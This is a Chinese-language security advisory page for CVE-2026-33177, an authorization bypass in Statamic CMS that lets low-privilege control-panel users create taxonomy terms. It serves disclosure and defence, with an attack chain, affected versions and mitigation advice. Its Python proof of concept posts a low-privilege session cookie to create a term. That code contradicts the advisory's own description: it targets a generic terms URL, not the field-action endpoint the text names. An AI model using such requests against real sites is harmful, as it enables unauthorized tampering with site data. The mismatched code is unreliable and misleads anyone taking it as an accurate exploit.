IPBUF安全漏洞报告
English
CVE-2026-33177 CVSS 4.3 中危

CVE-2026-33177 Statamic CMS权限绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33177
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Statamic CMS

相关标签

权限绕过StatamicCMSWeb安全访问控制

漏洞概述

Statamic是基于Laravel和Git驱动的内容管理系统(CMS)。在5.73.14和6.7.0版本之前,系统存在一处权限绕过漏洞。低权限的控制面板用户可以通过向字段操作处理端点发送包含攻击者控制字段定义的请求来创建分类术语。该操作成功绕过了标准分类术语创建端点上强制执行的身份验证检查。攻击者利用此漏洞可在未经授权的情况下篡改网站结构数据。

技术细节

该漏洞源于Statamic CMS在处理字段操作时的访问控制逻辑缺陷。作为基于Laravel框架的CMS,Statamic依赖中间件和表单请求来验证用户权限。在受影响版本中,系统存在一个用于处理字段动作的端点,该端点允许接收动态的字段定义。由于开发人员未对该特定端点实施与标准分类术语创建端点同等严格的权限校验,导致权限校验逻辑不一致。低权限用户(如普通编辑者)可以通过构造包含恶意构造的taxonomy和term数据的POST请求,直接调用该处理接口。服务器在处理此请求时,仅验证了用户是否登录(低权限),而未验证用户是否具备“创建术语”的高级权限。这使得攻击者能够绕过基于角色的访问控制(RBAC)策略,在系统中创建未经授权的分类数据,破坏数据完整性。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者注册或获取一个Statamic控制面板的低权限用户账号。
STEP 2
步骤2:识别漏洞端点
分析系统功能,定位到字段动作处理端点,并确定该端点未严格校验创建分类术语的权限。
STEP 3
步骤3:构造恶意请求
攻击者构造包含自定义字段定义(taxonomy和term数据)的HTTP POST请求。
STEP 4
步骤4:发送利用请求
使用低权限用户的会话凭证向目标端点发送恶意请求。
STEP 5
步骤5:绕过权限检查
服务器处理请求,由于逻辑缺陷,系统未执行标准的高级权限校验,仅依赖登录状态。
STEP 6
步骤6:创建未授权数据
系统在后台成功创建攻击者指定的分类术语,完成权限绕过攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL example (adjust based on actual installation) target_url = "https://example.com/cp/collections/taxonomies/terms" # Attacker's session cookie (low-privilege user) session_cookie = "statamic_session=low_priv_user_session_token" # Headers headers = { "Content-Type": "application/json", "Cookie": session_cookie, "X-Requested-With": "XMLHttpRequest" } # Payload exploiting the field action processing endpoint # Bypassing standard authorization checks by using controlled field definitions payload = { "action": "create", "fields": { "title": "Malicious Term", "slug": "malicious-term" }, "taxonomy": "categories" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Taxonomy term created.") print("[+] Response:", response.text) else: print("[-] Exploit failed. Status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Statamic CMS < 5.73.14
Statamic CMS < 6.7.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时限制低权限用户访问控制面板,或者通过Web应用防火墙(WAF)拦截针对特定字段操作处理端点的异常POST请求,并密切监控系统日志中是否存在非预期的分类术语创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表